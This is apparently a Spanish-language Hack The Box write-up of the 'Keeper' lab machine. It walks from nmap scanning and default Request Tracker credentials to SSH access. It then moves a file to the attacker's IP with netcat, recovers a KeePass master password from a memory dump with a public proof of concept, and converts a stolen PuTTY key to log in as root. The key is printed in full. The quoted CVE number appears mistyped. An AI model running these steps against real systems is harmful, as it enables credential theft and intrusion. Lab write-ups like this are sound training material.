Keeper HTB

Keeper HTB

·

10 min read

Resolución máquina keeper

Lo primero sera hacer un ping para saber si tengo conexion:

ping -c 1 10.10.11.227
PING 10.10.11.227 (10.10.11.227) 56(84) bytes of data.
64 bytes from 10.10.11.227: icmp_seq=1 ttl=63 time=120 ms

--- 10.10.11.227 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 120.137/120.137/120.137/0.000 ms

Para probar podemos lasnzar con la opción -R un trace route

$ping -c 1 10.10.11.227 -R
PING 10.10.11.227 (10.10.11.227) 56(124) bytes of data.
64 bytes from 10.10.11.227: icmp_seq=1 ttl=63 time=1797 ms
RR:     10.10.16.64
    10.10.10.2
    10.10.11.227
    10.10.11.227
    10.10.16.1
    10.10.16.64


--- 10.10.11.227 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1796.595/1796.595/1796.595/0.000 ms

Lo siguiente será empezar con el excaneo vemos que solo tenemos dos puerto abiertos, asi que vamos detectar versiones, para buscar posibles vulneranbilidades

$sudo nmap -p- --open -sSVC --min-rate 5000 -vvv -n -Pn 10.10.11.227 -oG allPorts
[sudo] password for h4nna: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 18:59 CET
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:59
Completed NSE at 18:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:59
Completed NSE at 18:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:59
Completed NSE at 18:59, 0.00s elapsed
Initiating SYN Stealth Scan at 18:59
Scanning 10.10.11.227 [65535 ports]
Discovered open port 22/tcp on 10.10.11.227
Discovered open port 80/tcp on 10.10.11.227
adjust_timeouts2: packet supposedly had rtt of 8711562 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of 8711562 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of 8709621 microseconds.  Ignoring time.

nos reporta poca informacion, pasamos a un escaneo mas direccionado hacia esos dos puertos.

#nmap -sCV -p22,80 10.10.11.227 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 19:02 CET
Nmap scan report for 10.10.11.227
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_  256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.53 seconds

Abrimos el archivo targeted donde hemos redireccionado la información

#cat targeted
# Nmap 7.93 scan initiated Sun Feb 11 19:02:18 2024 as: nmap -sCV -p22,80 -oN targeted 10.10.11.227
Nmap scan report for 10.10.11.227
Host is up (0.31s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_  256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Feb 11 19:03:01 2024 -- 1 IP address (1 host up) scanned in 43.53 seconds

Vemos que estamos ante un ubuntu. intentamos un http enum

nmap --script http-enum -p80 nmap 10.10.11.227 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-11 19:06 CET
Failed to resolve "nmap".
Stats: 0:00:27 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 0.00% done

No obtenemos nada, vamos a un navegador y escribimos en la url:

10.10.11.227

Me redirecciona a una página en blanco donde se puede leer:

To raise an IT support ticket, please visit tickets.keeper.htb/rt/

Esto es porque el servicio web no es público, asi que tengo que incluir en mi /etc/hosts esta ip para que me resuleva el dominio

# Host addresses
127.0.0.1  localhost
127.0.1.1  parrot
10.10.11.227 tickets.keeper.htb keeper.htb

Compruebo haciendo ping a keeper.htb y tickets.keeper.htb

$ping -c 1 keeper.htb
PING tickets.keeper.htb (10.10.11.227) 56(84) bytes of data.
64 bytes from tickets.keeper.htb (10.10.11.227): icmp_seq=1 ttl=63 time=904 ms

--- tickets.keeper.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 904.379/904.379/904.379/0.000 ms
$ping -c 1 tickets.keeper.htb
PING tickets.keeper.htb (10.10.11.227) 56(84) bytes of data.
64 bytes from tickets.keeper.htb (10.10.11.227): icmp_seq=1 ttl=63 time=285 ms

--- tickets.keeper.htb ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 285.463/285.463/285.463/0.000 ms

Recargo la pagina en el navegador y clicko en el link que me muestra y ya me lleva a un panel de autenticación

Buscamos default password para la plataforla Request traker, como podemos leer en la esquina superior derecha y nos dice usurio:root password: password

esto nos da acceso en la web, que se supone que es de tickets

Vamos a hacr un reconocimiento de lo que tenemos, estamos logeados como root vemos que en el menu superior en Admin hay un apartado llamado scripts

Seguimos explorando vemos que en Admin tenemos users

Root que somos nostros ahora y otro usuario, hacemos click en este usuario, para ver lo que nos muestra:

directamente vemos un password, probamos a conectarnos como este usuario por ssh

$ssh lnorgaard@10.10.11.227 The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established. ECDSA key fingerprint is SHA256:apkh696g2/uAeckIXd6eFvgmvmPqoEj41w4ia45OfrI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Failed to add the host to the list of known hosts (/home/h4nna/.ssh/known_hosts). lnorgaard@10.10.11.227's password: Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

You have mail. Last login: Sun Feb 11 17:14:11 2024 from 10.10.14.101 lnorgaard@keeper:~$

lnorgaard@keeper:~$ ls
KeePassDumpFull.dmp  RT30000.zip  passcodes.kdbx  user.txt

estamos dentro y hacemosun cat de user.txt y veremos la primera flag

y podemos ponerla en htb:

vemos un comprimido. Primero me pondre en escucha, desde otra terminal, por el puerto 443

#nc -nlvp 443 > comprimido.zip
listening on [any] 443 ...

desde la terminal donde estoy como lnorgaard me reenvio el archivo .zip

lnorgaard@keeper:~$ nc 10.10.16.64 443 < RT30000.zip

Hago md5sum al comprimido hasta que me salga el mismo ya que va variando al estar descargandose datos:

$md5sum comprimido.zip 
89b967728232e464f710cda88c68cce7  comprimido.zip
$md5sum comprimido.zip 
5fb879c8f2bea3122936fd1d4f0d1c64  comprimido.zip
$md5sum comprimido.zip 
5fb879c8f2bea3122936fd1d4f0d1c64  comprimido.zip
$md5sum comprimido.zip 
2bdbbf72520ec79f58cd5f9ea95481ac  comprimido.zip
$md5sum comprimido.zip 
c29f90dbb88d42ad2d38db2cb81eed21  comprimido.zip
$md5sum comprimido.zip 
c29f90dbb88d42ad2d38db2cb81eed21  comprimido.zip
$md5sum comprimido.zip 
c29f90dbb88d42ad2d38db2cb81eed21  comprimido.zip

cuando ya va saliendo el mismo es que el archivo no varia y ya se ha acabado de descargar, por lo tanto ya lo tenemos y procedemos a descomprimirlo:

$7z l comprimido.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,16 CPUs AMD Ryzen 7 2700X Eight-Core Processor          (800F82),ASM,AES-NI)

Scanning the drive for archives:
1 file, 87391651 bytes (84 MiB)

Listing archive: comprimido.zip

--
Path = comprimido.zip
Type = zip
Physical Size = 87391651

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2023-05-24 11:51:31 .....    253395188     87387677  KeePassDumpFull.dmp
2023-05-24 11:51:11 .....         3630         3630  passcodes.kdbx
------------------- ----- ------------ ------------  ------------------------
2023-05-24 11:51:31          253398818     87391307  2 files

nos interesa el archivo passcodes.kdbx que es un archivo de tipo keepass. y un dumpeo, nos descomprimimos el archivo que nos acabamos de descargar:

$7z x comprimido.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,16 CPUs AMD Ryzen 7 2700X Eight-Core Processor          (800F82),ASM,AES-NI)

Scanning the drive for archives:
1 file, 87391651 bytes (84 MiB)

Extracting archive: comprimido.zip
--
Path = comprimido.zip
Type = zip
Physical Size = 87391651

Everything is Ok          

Files: 2
Size:       253398818
Compressed: 87391651

nos instalamos keepasxc

$sudo apt install keepassxc
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho
Leyendo la información de estado... Hecho
Los paquetes indicados a continuación se instalaron de forma automática y ya no son necesarios.
  lame libjs-source-map libjs-uglify libopengl0 libwireshark14 libwiretap11 libwsutil12 python3-jupyter-core python3-nbformat python3-plotly r8168-dkms ruby-activemodel ruby-activerecord
  ruby-activesupport ruby-ansi ruby-celluloid ruby-celluloid-io ruby-concurrent ruby-daemons ruby-em-websocket ruby-erubis ruby-espeak ruby-eventmachine ruby-execjs ruby-hashie
  ruby-hashie-forbidden-attributes ruby-hitimes ruby-http-accept ruby-i18n ruby-maxmind-db ruby-mime-types ruby-mime-types-data ruby-mojo-magick ruby-msfrpc-client ruby-msgpack
  ruby-multi-json ruby-mustermann ruby-netrc ruby-nio4r ruby-oj ruby-otr-activerecord ruby-parseconfig ruby-qr4r ruby-rack ruby-rack-protection ruby-rest-client ruby-rqrcode-core
  ruby-ruby2-keywords ruby-rubydns ruby-rushover ruby-slack-notifier ruby-sync ruby-term-ansicolor ruby-tilt ruby-timers ruby-tins ruby-tzinfo ruby-uglifier ruby-zeitwerk ruby-zip thin
Utilice «sudo apt autoremove» para eliminarlos.
Se instalarán los siguientes paquetes adicionales:
  libqrencode4 libqt5concurrent5 libykpers-1-1 libyubikey-udev libyubikey0 libzxcvbn0

al pasrle a keepasxc el archivo, nos abre una ventana

 $keepassxc passcodes.kdbx

Como sabeis la forma de vulnerar un gestor de contraseñas es solo obteniendo la primera contraseña. Existe una herramienta llamada keepass2john que como os imaginareis ejecuta john sobre la base de datos que tenemos en keepass, para obtener esta contraseña.

#keepass2john passcodes.kdbx
passcodes:$keepass$*2*60000*0*5d7b4747e5a278d572fb0a66fe187ae5d74a0e
2f56a2aaaf4c4f2b8ca342597d*5b7ec1cf6889266a388abe398d7990a294bf2a581
156f7a7452b4074479bdea7*08500fa5a52622ab89b0addfedd5a05c*411593ef084
6fc1bb3db4f9bab515b42e58ade0c25096d15f090b0fe10161125*a4842b416f1472
3513c5fb704a2f49024a70818e786f07e68e82a6d3d7cdbcdc

Esta contraseña no esta en ningún diccionario asi que no serviria usar john sobre ella.

Buacamos en el navegador como recuperar contraseñas perdidas en keepassxc

Encontramos un CVE: A new KeePass vulnerability tracked as CVE-2023-3278 makes it possible to recover the KeePass master

Que justamente recupera la contraseña maestra, de la memoria de la aplicación

Vemos un enlace de la prueba de concepto que nos lleva a un página de github:

https://github.com/vdohney/keepass-password-dumper

me descargo otro que este en python:

#wget https://raw.githubusercontent.com/matro7sh/keepass-dump-masterkey/main/poc.py
--2024-02-11 20:44:54--  https://raw.githubusercontent.com/matro7sh/keepass-dump-masterkey/main/poc.py
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.110.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2735 (2,7K) [text/plain]
Grabando a: «poc.py»

poc.py                                          100%[=====================================================================================================>]   2,67K  --.-KB/s    en 0s      

2024-02-11 20:44:55 (43,8 MB/s) - «poc.py» guardado [2735/2735]

con python3 ejecutamos el archivo .py

#python3 poc.py 
usage: poc.py [-h] [-d] dump
poc.py: error: the following arguments are required: dump

pero nos pide el dumpeo que teniamos antes. y ejecutamos a ver que nos reporta:

#python3 poc.py KeePassDumpFull.dmp 
2024-02-11 20:48:06,889 [.] [main] Opened KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de

lo busco en duckduckgo a ver esos caracteres que no es capaz de interpretar la terminal a que palabra podria se equivalente:

Esa podria ser la contraseña para entrar en el keepass

en efecto esa era la contraseña:

vamos mirando en cada apartado y en Network vemos una contraseña de root:

vamos a copiarla y a intentar usarla para logearnos como root en la maquina

lnorgaard@keeper:~$ su root
Password: 
su: Authentication failure

veo que no, pero algo que vemos tambien es que hay una clave privada de putty

me tendre que instalar putty-tools

#sudo apt install putty-tools
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias... Hecho

tendre que exportar la clave que tenemos del putty a una clave .pem

esto me estaba dando error de tener una version demadiado nueva de putty y tuve que solucionarlo desinstalando putty-tools y descargando me esta herramienta:

wget https://the.earth.li/~sgtatham/putty/0.76/putty-0.76.tar.gz

Tras descomprimir el archivo tuve que compilarlo:

./configure
make
sudo cp puttygen /usr/bin/

por ultimo comprobar la version:

puttygen --version
puttygen: Release 0.76
Build platform: 64-bit Unix
Compiler: gcc 10.2.1 20210110
Source commit: 1fd7baa7344bb38d62a024e5dba3a720c67d05cf
┌─[root@parrot]─[/home/h4nna/h4nna/Keeper/putty_source_code/putty-0.76]

ahora me muevo al directorio de mi private_key y ejecuto

puttygen private_key -O private-openssh -o id_rsa

veo que ha funcionado haciendo un cat al id_rsa

#cat id_rsa 
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP
c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf
Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n
FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A
MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p
5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF
NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz
wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A
XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK
cz3/Cz7BdCkn+Lvf8iyA6VF0p14cFTM9Lsd7t/plLJzTVkCew1DZuYnYOGQxHYW6
WQ4V6rCwpsMSMLD450XJ4zfGLN8aw5KO1/TccbTgWivzUXjcCAviPpmSXB19UG8J
lTpgORyhAoGBAPaR+FID78BKtzThkhVqAKB7VCryJaw7Ebx6gIxbwOGFu8vpgoB8
S+PfF5qFd7GVXBQ5wNc7tOLRBJXaxTDsTvVy+X8TEbOKfqrKndHjIBpXs+Iy0tOA
GSqzgADetwlmklvTUBkHxMEr3VAhkY6zCLf+5ishnWtKwY3UVsr+Z4f1AoGBAK28
/Glmp7Kj7RPumHvDatxtkdT2Iaecl6cYhPPS/OzSFdPcoEOwHnPgtuEzspIsMj2j
gZZjHvjcmsbLP4HO6PU5xzTxSeYkcol2oE+BNlhBGsR4b9Tw3UqxPLQfVfKMdZMQ
a8QL2CGYHHh0Ra8D6xfNtz3jViwtgTcBCHdBu+lZAoGAcj4NvQpf4kt7+T9ubQeR
RMn/pGpPdC5mOFrWBrJYeuV4rrEBq0Br9SefixO98oTOhfyAUfkzBUhtBHW5mcJT
jzv3R55xPCu2JrH8T4wZirsJ+IstzZrzjipe64hFbFCfDXaqDP7hddM6Fm+HPoPL
TV0IDgHkKxsW9PzmPeWD2KUCgYAt2VTHP/b7drUm8G0/JAf8WdIFYFrrT7DZwOe9
LK3glWR7P5rvofe3XtMERU9XseAkUhTtqgTPafBSi+qbiA4EQRYoC5ET8gRj8HFH
6fJ8gdndhWcFy/aqMnGxmx9kXdrdT5UQ7ItB+lFxHEYTdLZC1uAHrgncqLmT2Wrx
heBgKQKBgFViaJLLoCTqL7QNuwWpnezUT7yGuHbDGkHl3JFYdff0xfKGTA7iaIhs
qun2gwBfWeznoZaNULe6Khq/HFS2zk/Gi6qm3GsfZ0ihOu5+yOc636Bspy82JHd3
BE5xsjTZIzI66HH5sX5L7ie7JhBTIO2csFuwgVihqM4M+u7Ss/SL
-----END RSA PRIVATE KEY-----

cambiamos los permisos a 600

chmod 600 id_rsa

ahora nos conectamos por ssh como root sin necesitar contraeña

#ssh -i id_rsa root@10.10.11.227
The authenticity of host '10.10.11.227 (10.10.11.227)' can't be established.
ECDSA key fingerprint is SHA256:apkh696g2/uAeckIXd6eFvgmvmPqoEj41w4ia45OfrI.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.227' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Sun Feb 11 17:50:13 2024 from 10.10.14.101
root@keeper:~#

conseguido listo los directorios y tengo ya la contraseña de root